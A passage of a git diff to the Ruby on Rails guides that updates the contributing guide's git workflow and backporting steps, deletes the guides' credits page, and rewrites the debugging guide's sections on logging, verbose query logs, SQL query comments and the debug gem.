-$ git fetch upstream
-$ git checkout my_pull_request
-$ git rebase -i upstream/master
+$ git fetch rails
+$ git checkout my_new_branch
+$ git rebase -i rails/main
 
 < Choose 'squash' for all of your commits except the first one. >
 < Edit the commit message to make sense, and describe all your changes. >
 
-$ git push origin my_pull_request -f
+$ git push fork my_new_branch --force-with-lease
 ```
 
 You should be able to refresh the pull request on GitHub and see that it has
 been updated.
 
-#### Updating pull request
+#### Updating a Pull Request
 
 Sometimes you will be asked to make some changes to the code you have
 already committed. This can include amending existing commits. In this
@@ -633,56 +935,54 @@ you can force push to your branch on GitHub as described earlier in
 squashing commits section:
 
 ```bash
-$ git push origin my_pull_request -f
+$ git commit --amend
+$ git push fork my_new_branch --force-with-lease
 ```
 
-This will update the branch and pull request on GitHub with your new code. Do
-note that using force push may result in commits being lost on the remote branch; use it with care.
-
+This will update the branch and pull request on GitHub with your new code.
+By force pushing with `--force-with-lease`, git will more safely update
+the remote than with a typical `-f`, which can delete work from the remote
+that you don't already have.
 
 ### Older Versions of Ruby on Rails
 
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:
+If you want to add a fix to versions of Ruby on Rails older than the next release, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 7-0-stable branch:
 
 ```bash
-$ git branch --track 4-0-stable origin/4-0-stable
-$ git checkout 4-0-stable
+$ git branch --track 7-0-stable rails/7-0-stable
+$ git checkout 7-0-stable
 ```
 
-TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+NOTE: Before working on older versions, please check the [maintenance policy](maintenance_policy.html). Changes will not be accepted to versions that have reached end of life.
 
 #### Backporting
 
-Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
-
-For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
+Changes that are merged into main are intended for the next major release of Rails. Sometimes, it might be beneficial to propagate your changes back to stable branches for inclusion in maintenance releases. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that change expected behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
 
-First, make sure your changes are the only difference between your current branch and master:
+First, make sure your main branch is up to date.
 
 ```bash
-$ git log master..HEAD
+$ git checkout main
+$ git pull --rebase
 ```
 
-Then extract the diff:
+Check out the branch you're backporting to, for example, `7-0-stable` and make sure it's up to date:
 
 ```bash
-$ git format-patch master --stdout > ~/my_changes.patch
+$ git checkout 7-0-stable
+$ git reset --hard origin/7-0-stable
+$ git checkout -b my-backport-branch
 ```
 
-Switch over to the target branch and apply your changes:
+If you're backporting a merged pull request, find the commit for the merge and cherry-pick it:
 
 ```bash
-$ git checkout -b my_backport_branch 4-2-stable
-$ git apply ~/my_changes.patch
+$ git cherry-pick -m1 MERGE_SHA
 ```
 
-This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
-
-Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request.
-
-And then... think about your next contribution!
+Fix any conflicts that occurred in the cherry-pick, push your changes, then open a PR pointing at the stable branch you're backporting to. If you have a more complex set of changes, the [cherry-pick](https://git-scm.com/docs/git-cherry-pick) documentation can help.
 
 Rails Contributors
 ------------------
 
-All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org).
+All contributions get credit in [Rails Contributors](https://contributors.rubyonrails.org).
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
deleted file mode 100644
index 5adbd12ac072f..0000000000000
--- a/guides/source/credits.html.erb
+++ /dev/null
@@ -1,80 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides: Credits
-<% end %>
-
-<% content_for :header_section do %>
-<h2>Credits</h2>
-
-<p>We'd like to thank the following people for their tireless contributions to this project.</p>
-
-<% end %>
-
-<h3 class="section">Rails Guides Reviewers</h3>
-
-<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
-  Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
-<% end %>
-
-<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
-  Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
-<% end %>
-
-<h3 class="section">Rails Guides Designers</h3>
-
-<%= author('Jason Zimdars', 'jz') do %>
-  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="https://twitter.com/jasonzimdars">Twitter</a>.
-<% end %>
-
-<h3 class="section">Rails Guides Authors</h3>
-
-<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
-  Ryan Bigg works as a Rails developer at <a href="http://marketplacer.com">Marketplacer</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
-<% end %>
-
-<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
-Oscar Del Ben is a software engineer at <a href="http://www.businessinsider.com/google-buys-wildfire-2012-8">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
-  <% end %>
-
-<%= author('Frederick Cheung', 'fcheung') do %>
-  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
-<% end %>
-
-<%= author('Tore Darell', 'toretore') do %>
-  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on <a href="http://twitter.com/toretore">Twitter</a>.
-<% end %>
-
-<%= author('Jeff Dean', 'zilkey') do %>
-  Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
-<% end %>
-
-<%= author('Mike Gunderloy', 'mgunderloy') do %>
-  Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
-<% end %>
-
-<%= author('Mikel Lindsaar', 'raasdnil') do %>
-  Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
-<% end %>
-
-<%= author('Cássio Marques', 'cmarques') do %>
-  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
-<% end %>
-
-<%= author('James Miller', 'bensie') do %>
-  James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
-<% end %>
-
-<%= author('Pratik Naik', 'lifo') do %>
-  Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a>. He also has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
-<% end %>
-
-<%= author('Emilio Tagua', 'miloops') do %>
-  Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
-<% end %>
-
-<%= author('Heiko Webers', 'hawe') do %>
-  Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
-<% end %>
-
-<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
-  Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
-<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index ba0cdbf3af020..60296a51da210 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Debugging Rails Applications
 ============================
@@ -107,22 +107,14 @@ It can also be useful to save information to log files at runtime. Rails maintai
 
 ### What is the Logger?
 
-Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may also be substituted.
-
-You can specify an alternative logger in `config/application.rb` or any other environment file, for example:
+Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may be substituted:
 
 ```ruby
+# config/environments/production.rb
 config.logger = Logger.new(STDOUT)
 config.logger = Log4r::Logger.new("Application Log")
 ```
 
-Or in the `Initializer` section, add _any_ of the following
-
-```ruby
-Rails.logger = Logger.new(STDOUT)
-Rails.logger = Log4r::Logger.new("Application Log")
-```
-
 TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running.
 
 ### Log Levels
@@ -134,20 +126,20 @@ method.
 
 The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`,
 and `:unknown`, corresponding to the log level numbers from 0 up to 5,
-respectively. To change the default log level, use
+respectively. To change the default log level:
 
 ```ruby
-config.log_level = :warn # In any environment initializer, or
-Rails.logger.level = 0 # at any time
+# config/environments/production.rb
+config.log_level = :warn
 ```
 
 This is useful when you want to log under development or staging without flooding your production log with unnecessary information.
 
-TIP: The default Rails log level is `debug` in all environments.
+TIP: The default Rails log level is `:debug`. However, it is set to `:info` for the `production` environment in the default generated `config/environments/production.rb`.
 
 ### Sending Messages
 
-To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+To write in the current log use the `logger.(debug|info|warn|error|fatal|unknown)` method from within a controller, model, or mailer:
 
 ```ruby
 logger.debug "Person attributes hash: #{@person.attributes.inspect}"
@@ -162,45 +154,146 @@ class ArticlesController < ApplicationController
   # ...
 
   def create
-    @article = Article.new(params[:article])
+    @article = Article.new(article_params)
     logger.debug "New article: #{@article.attributes.inspect}"
     logger.debug "Article should be valid: #{@article.valid?}"
 
     if @article.save
-      flash[:notice] =  'Article was successfully created.'
       logger.debug "The article was saved and now the user is going to be redirected..."
-      redirect_to(@article)
+      redirect_to @article, notice: 'Article was successfully created.'
     else
-      render action: "new"
+      render :new, status: :unprocessable_entity
     end
   end
 
   # ...
+
+  private
+    def article_params
+      params.expect(article: [:title, :body, :published])
+    end
 end
 ```
 
 Here's an example of the log generated when this controller action is executed:
 
 ```
-Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
-  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
-New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
- "published"=>false, "created_at"=>nil}
+Started POST "/articles" for 127.0.0.1 at 2018-10-18 20:09:23 -0400
+Processing by ArticlesController#create as HTML
+  Parameters: {"utf8"=>"✓", "authenticity_token"=>"XLveDrKzF1SwaiNRPTaMtkrsTzedtebPPkmxEFIU0ordLjICSnXsSNfrdMa4ccyBjuGwnnEiQhEoMN6H1Gtz3A==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>"0"}, "commit"=>"Create Article"}
+New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>false, "created_at"=>nil, "updated_at"=>nil}
 Article should be valid: true
-  Article Create (0.000443)   INSERT INTO "articles" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+   (0.0ms)  begin transaction
+  ↳ app/controllers/articles_controller.rb:31
+  Article Create (0.5ms)  INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?)  [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs."], ["published", 0], ["created_at", "2018-10-19 00:09:23.216549"], ["updated_at", "2018-10-19 00:09:23.216549"]]
+  ↳ app/controllers/articles_controller.rb:31
+   (2.3ms)  commit transaction
+  ↳ app/controllers/articles_controller.rb:31
 The article was saved and now the user is going to be redirected...
-Redirected to # Article:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
+Redirected to http://localhost:3000/articles/1
+Completed 302 Found in 4ms (ActiveRecord: 0.8ms)
 ```
 
 Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
 
+### Verbose Query Logs
+
+When looking at database query output in logs, it may not be immediately clear why multiple database queries are triggered when a single method is called:
+
+```irb
+irb(main):001:0> Article.pamplemousse
+  Article Load (0.4ms)  SELECT "articles".* FROM "articles"
+  Comment Load (0.2ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
+  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
+  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
+=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">
+```
+
+After enabling `verbose_query_logs` we can see additional information for each query:
+
+```irb
+irb(main):003:0> Article.pamplemousse
+  Article Load (0.2ms)  SELECT "articles".* FROM "articles"
+  ↳ app/models/article.rb:5
+  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
+  ↳ app/models/article.rb:6
+  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
+  ↳ app/models/article.rb:6
+  Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
+  ↳ app/models/article.rb:6
+=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">
+```
+
+Below each database statement you can see arrows pointing to the specific source filename (and line number) of the method that resulted in a database call e.g. `↳ app/models/article.rb:5`.
+
+This can help you identify and address performance problems caused by N+1 queries: i.e. single database queries that generate multiple additional queries.
+
+Verbose query logs are [enabled by default](configuring.html#config-active-record-verbose-query-logs) in the development environment logs.
+
+WARNING: We recommend against using this setting in production environments. It relies on Ruby's `Kernel#caller` method which tends to allocate a lot of memory in order to generate stacktraces of method calls. Use query log tags (see below) instead.
+
+### Verbose Enqueue Logs
+
+Similar to the "Verbose Query Logs" above, allows to print source locations of methods that enqueue background jobs.
+
+Verbose enqueue logs are [enabled by default](/7_1_release_notes.html#active-job-notable-changes) in the development environment logs.
+
+```ruby
+# config/environments/development.rb
+config.active_job.verbose_enqueue_logs = true
+```
+
+```irb
+# bin/rails console
+ActiveJob.verbose_enqueue_logs = true
+```
+
+WARNING: We recommend against using this setting in production environments.
+
+### Verbose redirect logs
+
+Similar to other verbose log settings above, this logs the source location of a redirect.
+
+```
+Redirected to http://localhost:3000/posts/1
+↳ app/controllers/posts_controller.rb:32:in `block (2 levels) in create'
+```
+
+It is enabled by default in development. To enable in other environments, use this configuration:
+
+```rb
+config.action_dispatch.verbose_redirect_logs = true
+```
+
+As with other verbose loggers, it is not recommended to be used in production environments.
+
+SQL Query Comments
+------------------
+
+SQL statements can be commented with tags containing runtime information, such as the name of the controller or job, to
+trace troublesome queries back to the area of the application that generated these statements. This is useful when you are
+logging slow queries (e.g. [MySQL](https://dev.mysql.com/doc/refman/en/slow-query-log.html), [PostgreSQL](https://www.postgresql.org/docs/current/runtime-config-logging.html#GUC-LOG-MIN-DURATION-STATEMENT)),
+viewing currently running queries, or for end-to-end tracing tools.
+
+```ruby
+config.active_record.query_log_tags_enabled = true
+```
+
+NOTE: Enabling Query tags automatically disables prepared statements, because it makes most queries unique.
+
+By default the name of the application, the name and action of the controller, or the name of the job are logged. The
+default format is [SQLCommenter](https://open-telemetry.github.io/opentelemetry-sqlcommenter/). For example:
+
+```
+Article Load (0.2ms)  SELECT "articles".* FROM "articles" /*application='Blog',controller='articles',action='index'*/
+
+Article Update (0.3ms)  UPDATE "articles" SET "title" = ?, "updated_at" = ? WHERE "posts"."id" = ? /*application='Blog',job='ImproveTitleJob'*/  [["title", "Improved Rails debugging guide"], ["updated_at", "2022-10-16 20:25:40.091371"], ["id", 1]]
+```
+
+The behavior of [`ActiveRecord::QueryLogs`](https://api.rubyonrails.org/classes/ActiveRecord/QueryLogs.html) can be
+modified to include anything that helps connect the dots from the SQL query, such as request and job ids for
+application logs, account and tenant identifiers, etc.
+
 ### Tagged Logging
 
 When running multi-user, multi-account applications, it's often useful
@@ -215,12 +308,13 @@ logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "
 ```
 
 ### Impact of Logs on Performance
+
 Logging will always have a small impact on the performance of your Rails app,
-        particularly when logging to disk. Additionally, there are a few subtleties:
+particularly when logging to disk. Additionally, there are a few subtleties:
 
 Using the `:debug` level will have a greater performance penalty than `:fatal`,
-      as a far greater number of strings are being evaluated and written to the
-      log output (e.g. disk).
+as a far greater number of strings are being evaluated and written to the
+log output (e.g. disk).
 
 Another potential pitfall is too many calls to `Logger` in your code:
 
@@ -232,20 +326,24 @@ In the above example, there will be a performance impact even if the allowed
 output level doesn't include debug. The reason is that Ruby has to evaluate
 these strings, which includes instantiating the somewhat heavy `String` object
 and interpolating the variables.
+
 Therefore, it's recommended to pass blocks to the logger methods, as these are
 only evaluated if the output level is the same as — or included in — the allowed level
 (i.e. lazy loading). The same code rewritten would be:
 
 ```ruby
-logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+logger.debug { "Person attributes hash: #{@person.attributes.inspect}" }
 ```
 
 The contents of the block, and therefore the string interpolation, are only
 evaluated if debug is enabled. This performance savings are only really
 noticeable with large amounts of logging, but it's a good practice to employ.
 
-Debugging with the `byebug` gem
----------------------------------
+INFO: This section was written by [Jon Cairns at a Stack Overflow answer](https://stackoverflow.com/questions/16546730/logging-in-rails-is-there-any-performance-hit/16546935#16546935)
+and it is licensed under [cc by-sa 4.0](https://creativecommons.org/licenses/by-sa/4.0/).
+
+Debugging with the `debug` Gem
+------------------------------
 
 When your code is behaving in unexpected ways, you can try printing to logs or
 the console to diagnose the problem. Unfortunately, there are times when this
@@ -258,594 +356,462 @@ but don't know where to start. Just debug any request to your application and
 use this guide to learn how to move from the code you have written into the
 underlying Rails code.
 
-### Setup
+Rails 7 includes the `debug` gem in the `Gemfile` of new applications generated
+by CRuby. By default, it is ready in the `development` and `test` environments.
+Please check its [documentation](https://github.com/ruby/debug) for usage.
 
-You can use the `byebug` gem to set breakpoints and step through live code in
-Rails. To install it, just run:
+### Entering a Debugging Session
 
-```bash
-$ gem install byebug
-```
-
-Inside any Rails application you can then invoke the debugger by calling the
-`byebug` method.
+By default, a debugging session will start after the `debug` library is required, which happens when your app boots. But don't worry, the session won't interfere with your application.
 
-Here's an example:
+To enter the debugging session, you can use `binding.break` and its aliases: `binding.b` and `debugger`. The following examples will use `debugger`:
 
 ```ruby
-class PeopleController < ApplicationController
-  def new
-    byebug
-    @person = Person.new
+class PostsController < ApplicationController
+  before_action :set_post, only: %i[ show edit update destroy ]
+
+  # GET /posts or /posts.json
+  def index
+    @posts = Post.all
+    debugger
   end
+  # ...
 end
 ```
 
-### The Shell
-
-As soon as your application calls the `byebug` method, the debugger will be
-started in a debugger shell inside the terminal window where you launched your
-application server, and you will be placed at the debugger's prompt `(byebug)`.
-Before the prompt, the code around the line that is about to be run will be
-displayed and the current line will be marked by '=>', like this:
-
-```
-[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
-    3:
-    4:   # GET /articles
-    5:   # GET /articles.json
-    6:   def index
-    7:     byebug
-=>  8:     @articles = Article.find_recent
-    9:
-   10:     respond_to do |format|
-   11:       format.html # index.html.erb
-   12:       format.json { render json: @articles }
-
-(byebug)
-```
-
-If you got there by a browser request, the browser tab containing the request
-will be hung until the debugger has finished and the trace has finished
-processing the entire request.
-
-For example:
-
-```bash
-=> Booting Puma
-=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
-=> Run `rails server -h` for more startup options
-Puma starting in single mode...
-* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
-* Min threads: 5, max threads: 5
-* Environment: development
-* Listening on tcp://localhost:3000
-Use Ctrl-C to stop
-Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
-  ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
-Processing by ArticlesController#index as HTML
-
-[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
-    3:
-    4:   # GET /articles
-    5:   # GET /articles.json
-    6:   def index
-    7:     byebug
-=>  8:     @articles = Article.find_recent
-    9:
-   10:     respond_to do |format|
-   11:       format.html # index.html.erb
-   12:       format.json { render json: @articles }
-(byebug)
-```
-
-Now it's time to explore your application. A good place to start is
-by asking the debugger for help. Type: `help`
-
-```
-(byebug) help
-
-  break      -- Sets breakpoints in the source code
-  catch      -- Handles exception catchpoints
-  condition  -- Sets conditions on breakpoints
-  continue   -- Runs until program ends, hits a breakpoint or reaches a line
-  debug      -- Spawns a subdebugger
-  delete     -- Deletes breakpoints
-  disable    -- Disables breakpoints or displays
-  display    -- Evaluates expressions every time the debugger stops
-  down       -- Moves to a lower frame in the stack trace
-  edit       -- Edits source files
-  enable     -- Enables breakpoints or displays
-  finish     -- Runs the program until frame returns
-  frame      -- Moves to a frame in the call stack
-  help       -- Helps you using byebug
-  history    -- Shows byebug's history of commands
-  info       -- Shows several informations about the program being debugged
-  interrupt  -- Interrupts the program
-  irb        -- Starts an IRB session
-  kill       -- Sends a signal to the current process
-  list       -- Lists lines of source code
-  method     -- Shows methods of an object, class or module
-  next       -- Runs one or more lines of code
-  pry        -- Starts a Pry session
-  quit       -- Exits byebug
-  restart    -- Restarts the debugged program
-  save       -- Saves current byebug session to a file
-  set        -- Modifies byebug settings
-  show       -- Shows byebug settings
-  source     -- Restores a previously saved byebug session
-  step       -- Steps into blocks or methods one or more times
-  thread     -- Commands to manipulate threads
-  tracevar   -- Enables tracing of a global variable
-  undisplay  -- Stops displaying all or some expressions when program stops
-  untracevar -- Stops tracing a global variable
-  up         -- Moves to a higher frame in the stack trace
-  var        -- Shows variables and its values
-  where      -- Displays the backtrace
-
-(byebug)
-```
-
-To see the previous ten lines you should type `list-` (or `l-`).
-
-```
-(byebug) l-
-
-[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
-   1  class ArticlesController < ApplicationController
-   2    before_action :set_article, only: [:show, :edit, :update, :destroy]
-   3
-   4    # GET /articles
-   5    # GET /articles.json
-   6    def index
-   7      byebug
-   8      @articles = Article.find_recent
-   9
-   10      respond_to do |format|
-```
-
-This way you can move inside the file and see the code above the line where you
-added the `byebug` call. Finally, to see where you are in the code again you can
-type `list=`
-
-```
-(byebug) list=
-
-[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
-    3:
-    4:   # GET /articles
-    5:   # GET /articles.json
-    6:   def index
-    7:     byebug
-=>  8:     @articles = Article.find_recent
-    9:
-   10:     respond_to do |format|
-   11:       format.html # index.html.erb
-   12:       format.json { render json: @articles }
-(byebug)
-```
-
-### The Context
+Once your app evaluates the debugging statement, it'll enter the debugging session:
 
-When you start debugging your application, you will be placed in different
-contexts as you go through the different parts of the stack.
-
-The debugger creates a context when a stopping point or an event is reached. The
-context has information about the suspended program which enables the debugger
-to inspect the frame stack, evaluate variables from the perspective of the
-debugged program, and know the place where the debugged program is stopped.
-
-At any time you can call the `backtrace` command (or its alias `where`) to print
-the backtrace of the application. This can be very helpful to know how you got
-where you are. If you ever wondered about how you got somewhere in your code,
-then `backtrace` will supply the answer.
-
-```
-(byebug) where
---> #0  ArticlesController.index
-      at /PathToProject/app/controllers/articles_controller.rb:8
-    #1  ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
-      at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/basic_implicit_render.rb:4
-    #2  AbstractController::Base.process_action(action#NilClass, *args#Array)
-      at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:181
-    #3  ActionController::Rendering.process_action(action, *args)
-      at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:30
-...
-```
+```ruby
+Processing by PostsController#index as HTML
+[2, 11] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+     2|   before_action :set_post, only: %i[ show edit update destroy ]
+     3|
+     4|   # GET /posts or /posts.json
+     5|   def index
+     6|     @posts = Post.all
+=>   7|     debugger
+     8|   end
+     9|
+    10|   # GET /posts/1 or /posts/1.json
+    11|   def show
+=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
+  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.2.0.alpha/lib/action_controller/metal/basic_implicit_render.rb:6
+  # and 72 frames (use `bt' command for all frames)
+(rdbg)
+```
+
+You can exit the debugging session at any time and continue your application execution with the `continue` (or `c`) command. Or, to exit both the debugging session and your application, use the `quit` (or `q`) command.
 
-The current frame is marked with `-->`. You can move anywhere you want in this
-trace (thus changing the context) by using the `frame n` command, where _n_ is
-the specified frame number. If you do that, `byebug` will display your new
-context.
+### The Context
 
-```
-(byebug) frame 2
+After entering the debugging session, you can type in Ruby code as if you are in a Rails console or IRB.
 
-[176, 185] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb
-   176:       # is the intended way to override action dispatching.
-   177:       #
-   178:       # Notice that the first argument is the method to be dispatched
-   179:       # which is *not* necessarily the same as the action name.
-   180:       def process_action(method_name, *args)
-=> 181:         send_action(method_name, *args)
-   182:       end
-   183:
-   184:       # Actually call the method associated with the action. Override
-   185:       # this method if you wish to change how action methods are called,
-(byebug)
+```ruby
+(rdbg) @posts    # ruby
+[]
+(rdbg) self
+#<PostsController:0x0000000000aeb0>
+(rdbg)
 ```
 
-The available variables are the same as if you were running the code line by
-line. After all, that's what debugging is.
-
-You can also use `up [n]` and `down [n]` commands in order to change the context
-_n_ frames up or down the stack respectively. _n_ defaults to one. Up in this
-case is towards higher-numbered stack frames, and down is towards lower-numbered
-stack frames.
-
-### Threads
-
-The debugger can list, stop, resume and switch between running threads by using
-the `thread` command (or the abbreviated `th`). This command has a handful of
-options:
-
-* `thread`: shows the current thread.
-* `thread list`: is used to list all threads and their statuses. The current
-thread is marked with a plus (+) sign.
-* `thread stop n`: stops thread _n_.
-* `thread resume n`: resumes thread _n_.
-* `thread switch n`: switches the current thread context to _n_.
+You can also use the `p` or `pp` command to evaluate Ruby expressions, which is useful when a variable name conflicts with a debugger command.
 
-This command is very helpful when you are debugging concurrent threads and need
-to verify that there are no race conditions in your code.
-
-### Inspecting Variables
-
